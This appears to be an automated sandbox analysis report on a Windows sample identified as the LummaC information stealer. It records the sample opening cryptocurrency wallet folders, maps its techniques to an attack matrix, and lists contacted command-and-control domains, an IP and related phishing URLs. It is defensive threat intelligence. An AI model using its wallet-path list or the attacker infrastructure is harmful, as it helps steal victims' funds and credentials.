Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KATAXZVCPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AIXACVYBSB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 6244, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 6244, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	11 Virtualization/Sandbox Evasion	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	31 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	2 Clipboard Data	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	45%	ReversingLabs	Win32.Trojan.Generic
file.exe	46%	Virustotal		Browse
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
strollheavengwu.shop	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://support.microsof	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
incredibleextedwj.shop	1%	Virustotal		Browse
shortsvelventysjo.shop	1%	Virustotal		Browse
tolerateilusidjukl.shop	14%	Virustotal		Browse
liabilitynighstjsko.shop	1%	Virustotal		Browse
https://strollheavengwu.shop/api	11%	Virustotal		Browse
shatterbreathepsw.shop	1%	Virustotal		Browse
demonstationfukewko.shop	1%	Virustotal		Browse
productivelookewr.shop	1%	Virustotal		Browse
alcojoldwograpciw.shop	1%	Virustotal		Browse
strollheavengwu.shop	1%	Virustotal		Browse
https://strollheavengwu.shop/	1%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
strollheavengwu.shop	172.67.163.209	true	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
incredibleextedwj.shop	true	1%, Virustotal, Browse	unknown
shortsvelventysjo.shop	true	1%, Virustotal, Browse	unknown
tolerateilusidjukl.shop	true	14%, Virustotal, Browse	unknown
liabilitynighstjsko.shop	true	1%, Virustotal, Browse	unknown
https://strollheavengwu.shop/api	false	11%, Virustotal, Browse	unknown
shatterbreathepsw.shop	true	1%, Virustotal, Browse	unknown
demonstationfukewko.shop	true	1%, Virustotal, Browse	unknown
productivelookewr.shop	true	1%, Virustotal, Browse	unknown
strollheavengwu.shop	true	1%, Virustotal, Browse	unknown
alcojoldwograpciw.shop	true	1%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1651627996.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651555416.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651381826.0000000004259000.00000004.00000800.00020000.00000000.sdmp	false		high
https://strollheavengwu.shop/9	file.exe, 00000000.00000003.1721101611.0000000001D78000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1651627996.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651555416.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651381826.0000000004259000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1651627996.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651555416.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651381826.0000000004259000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1651627996.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651555416.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651381826.0000000004259000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1669695242.0000000004232000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://upx.sf.net	Amcache.hve.3.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1651627996.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651555416.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651381826.0000000004259000.00000004.00000800.00020000.00000000.sdmp	false		high
https://strollheavengwu.shop/9my$	file.exe, 00000000.00000003.1721375768.0000000001D80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1839375130.0000000001D81000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1721101611.0000000001D78000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1669695242.0000000004232000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://strollheavengwu.shop/o	file.exe, 00000000.00000003.1660461101.0000000001D76000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000003.1651004251.000000000426C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651072073.0000000004265000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1651004251.000000000426C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651072073.0000000004265000.00000004.00000800.00020000.00000000.sdmp	false		high
https://strollheavengwu.shop/api/	file.exe, 00000000.00000003.1650823034.0000000001D3D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1650711919.0000000001D2A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1651627996.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651555416.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651381826.0000000004259000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1671950400.0000000004336000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1651627996.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651555416.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651381826.0000000004259000.00000004.00000800.00020000.00000000.sdmp	false		high
https://strollheavengwu.shop/apiy	file.exe, 00000000.00000002.1839431859.0000000001D92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1721101611.0000000001D90000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://strollheavengwu.shop/hZyI	file.exe, 00000000.00000003.1721375768.0000000001D80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1839375130.0000000001D81000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1721101611.0000000001D78000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1669695242.0000000004232000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1669695242.0000000004232000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://strollheavengwu.sh	file.exe, 00000000.00000003.1660955789.0000000001D2A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://strollheavengwu.shop/apiRO	file.exe, 00000000.00000002.1839431859.0000000001D92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1721101611.0000000001D90000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	file.exe, 00000000.00000003.1651072073.0000000004240000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1651627996.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651555416.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651381826.0000000004259000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	file.exe, 00000000.00000003.1651004251.000000000426E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.1669695242.0000000004232000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://strollheavengwu.shop/d	file.exe, 00000000.00000003.1660461101.0000000001D76000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	file.exe, 00000000.00000003.1651072073.0000000004240000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1671950400.0000000004336000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1651627996.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651555416.0000000004257000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1651381826.0000000004259000.00000004.00000800.00020000.00000000.sdmp	false		high
https://strollheavengwu.shop/	file.exe, 00000000.00000003.1721375768.0000000001D80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1650823034.0000000001D3D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1839375130.0000000001D81000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1650823034.0000000001D76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1660461101.0000000001D76000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1721101611.0000000001D78000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1660955789.0000000001D1B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1650711919.0000000001D2A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1660461101.0000000001D1A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1840151516.0000000004210000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.163.209	strollheavengwu.shop	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1429197
Start date and time:	2024-04-21 08:40:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/9@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 94% Number of executed functions: 38 Number of non-executed functions: 108
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.73.29
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:40:54	API Interceptor	7x Sleep call for process: file.exe modified
08:41:13	API Interceptor	1x Sleep call for process: WerFault.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
strollheavengwu.shop	LwnI84BBtb.exe	Get hash	malicious	LummaC	Browse	104.21.15.198
strollheavengwu.shop	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.198

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://www.sigtn.com/utils/emt.cfm?client_id=9195153&campaign_id=73466&link=aHR0cHM6Ly9saW5rLm1haWwuYmVlaGlpdi5jb20vbHMvY2xpY2s/dXBuPXUwMDEucklvcWRaR1R1SGJzNzQ0S21jWTQzbm9GN25FNXlXdTZFcUlEQ1JQVW5LVlRsVDF5N0p0RTVORGVVSmxOU254Uk82V2lWVzB6akF4aVNnRXQ4S0dzZUdDb3N4OE9CV0tIQ1VyMmlaRXQ0LTJCM2EtMkZuWXhLOHNYNW1IZ0ZPZFd1VHpnUmNyMHdMYk52c0NadXktMkZiSXRoVDI4bi0yRjdCUy0yQmVINGxDRVExVTQxQU5xSS0zRFhBa0FfdWpTUjJaZ1VvcFZ3R0Y1eWNMcm5nS0Y1andZVnZoMHVzbGExV2Z5ZUs2QXJvYzFDOXFaY3NKZHlBVHNhVnFnZmxkNjlSOE1FQ3J6dHdtVUw5QkliUXRiM1VjUEwxanplbGNyNG1jZGFhdlZNZFE0ejA0ZHFqRC0yRkR4RVlVV1lLM3BjNTBsREpndVd5Z0NZMEZ2LTJGdG9kUkpjSzNjRlYwcDdMYS0yQlh1NjRveEtqVkpFUkV3WGJSekN0dTlZazJBSmgwQVVNeUxiOTVXWlBiTmxOQjlmTXRhbm41aDY2eDByMm5nR2k5QmJkLTJCdWd1Ync2Z092blJheXlKLTJGYXB3eHBSSHpxZHZER21pREhpR09kemxvQVRJQWkxMWR5ZWhpazY3NDRzQ2E3dzl0MWZqU2JvTWpXd1dvdXlVaDJPd0VyLTJCOHJDZTB1VjF6clJDTi0yQjh6Z2R4Y1JibkZ1a3JtNGVJbU5WQUJnSFMtMkZ1S2RrUDdrZkUxUm9PWlVGdWU3bzZkLTJGY3FpMUx2VXVpbW9VbmxzMjRseXRVQzNQdUpiOVlDZ0Zoc29LRlZOMUxvZXloOFFGTERUaEN4VjE5UC0yRmxCWTRpZURUI2V4cGVkaXRpbmdAYmVpbi5jb20=	Get hash	malicious	Unknown	Browse	162.247.243.29
	SecuriteInfo.com.PUA.Biztree.1653.24897.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	SecuriteInfo.com.PUA.Biztree.1653.24897.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC	Browse	104.21.15.37
	https://modemultiple.pages.dev/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://private.document-projeect.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	172.64.154.107
	https://document.propoosale-team.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	172.64.154.107
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	104.26.4.15
	https://pkp.jzw.mybluehost.me/wp-content/d/d/	Get hash	malicious	Unknown	Browse	104.18.11.207
	https://928381-aa97.bayhit252.workers.dev/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	172.67.163.209
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	172.67.163.209
	LwnI84BBtb.exe	Get hash	malicious	LummaC	Browse	172.67.163.209
	SajWKdHxdF.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.163.209
	file.exe	Get hash	malicious	LummaC	Browse	172.67.163.209
	file.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.163.209
	pSfqOmM1DG.exe	Get hash	malicious	Remcos, DBatLoader	Browse	172.67.163.209
	file.exe	Get hash	malicious	LummaC	Browse	172.67.163.209
	hta.hta	Get hash	malicious	Unknown	Browse	172.67.163.209
	2M1NS61GG8.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer, PureLog Stealer, RedLine, zgRAT	Browse	172.67.163.209

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_5c35b761e7b2886414fdd9b14cedcc55e7ebf4_79a0e859_5203bd44-6de2-4e4f-aad8-78095cede41a\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9834834943638945
Encrypted:	false
SSDEEP:	192:9MDln3FUvdP7hTb0U7v+I3jtdFPzuiFlZ24IO8kVB:qcdjVoU7vlj9zuiFlY4IO8a
MD5:	40473486B976C01155551B0891E404CF
SHA1:	E0ACDE6ECFFEBCCBE621BA5BEF6A2D866E7116B8
SHA-256:	6B8A8881180A958C909567CB34D2FB57CF252631278970C11C173E14771130A4
SHA-512:	A0656FADC4E5942B4385F00803FDAB68584BB8C408B5C4959E684B1EEBD782D88ACD9C05A7760A9F3BAFE29B9185B31F8DE8DC5C17C6307B5E3E64CC8D6DE3AE
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.1.5.5.2.6.2.3.2.1.8.2.3.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.1.3.1.0.7.2.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.2.0.3.b.d.4.4.-.6.d.e.2.-.4.e.4.f.-.a.a.d.8.-.7.8.0.9.5.c.e.d.e.4.1.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.4.8.1.2.5.e.5.-.a.3.c.1.-.4.5.5.9.-.b.7.3.8.-.b.0.4.c.b.3.6.d.b.5.3.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.8.6.4.-.0.0.0.1.-.0.0.1.4.-.5.6.d.f.-.1.2.d.b.b.6.9.3.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.a.8.4.5.2.c.e.3.e.f.7.3.0.5.5.2.d.9.8.1.1.8.7.1.8.1.d.5.4.2.b.0.0.0.0.0.a.1.6.!.0.0.0.0.e.0.7.4.4.8.0.d.9.4.5.c.c.e.7.5.2.a.5.8.6.d.f.7.c.c.a.1.d.f.e.a.5.b.a.f.f.5.3.3.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.1.8.:.1.2.:.5.9.:.4.2.!.0.!.f.i.l.e...e.x.e.....B.o.o.t.I.d.=.4.2.9.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_8ec75631d1328d44a8219509d535bd4f6799dd4_79a0e859_3912fa46-8569-4c49-a3ef-ca2a8cc690e1\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9941410813387069
Encrypted:	false
SSDEEP:	192:LJn3FUvBP7Ai04DmIwsyI3jtdFPzuiFlZ24IO8kVB:NcBjAp4Dm9sRj9zuiFlY4IO8a
MD5:	9456D42B8EA6AEE8832ABB6F1011DFF3
SHA1:	7221F0508C695E04B220D1B4C449E2F637347B8B
SHA-256:	B84CBE447D52099293840D12A0D84CEE30B8BA39AE06C2B60227194D94EFA99F
SHA-512:	7063B354B690F93B3FAFF6F9BEA6027EA27D7216CB29FB13B6DF40DB818D81517A64A42AB17F9AD819A866B4D1181882F3A0779C492BD751170B09209FE83EBA
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.1.5.5.2.6.3.1.5.5.3.2.8.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.8.1.5.5.2.6.4.6.8.6.5.7.8.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.9.1.2.f.a.4.6.-.8.5.6.9.-.4.c.4.9.-.a.3.e.f.-.c.a.2.a.8.c.c.6.9.0.e.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.6.a.4.1.d.e.7.-.5.6.a.2.-.4.9.e.9.-.9.c.d.9.-.2.4.2.a.3.8.7.1.8.8.c.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.f.i.l.e...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.8.6.4.-.0.0.0.1.-.0.0.1.4.-.5.6.d.f.-.1.2.d.b.b.6.9.3.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.a.8.4.5.2.c.e.3.e.f.7.3.0.5.5.2.d.9.8.1.1.8.7.1.8.1.d.5.4.2.b.0.0.0.0.0.a.1.6.!.0.0.0.0.e.0.7.4.4.8.0.d.9.4.5.c.c.e.7.5.2.a.5.8.6.d.f.7.c.c.a.1.d.f.e.a.5.b.a.f.f.5.3.3.!.f.i.l.e...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.4././.1.8.:.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC87B.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Sun Apr 21 06:41:02 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	54826
Entropy (8bit):	2.593342834750703
Encrypted:	false
SSDEEP:	384:Z8CHR1TphjBbK4c2nYl6zlQ98/ZYB5X6+:TzhjBY2n3YkZV+
MD5:	561B4FE9C1DDB6F10F85F711FB77B709
SHA1:	DF214738B0C125C85F2AE14DD0CFCA25847C6977
SHA-256:	651020730B3AAEE4AEC080AD6216F1D1118AB2EB079B1D0292A4D80A3B718700
SHA-512:	BB00F7D74A0590FF6FFA46B73E1F85F2227F72700BB7168D7E1CD83D6B08445B90DEA777A3CCBD26DA49A0237DAF4FA48EE4B79926BCD844C958702E6DA6DFA4
Malicious:	false
Reputation:	low
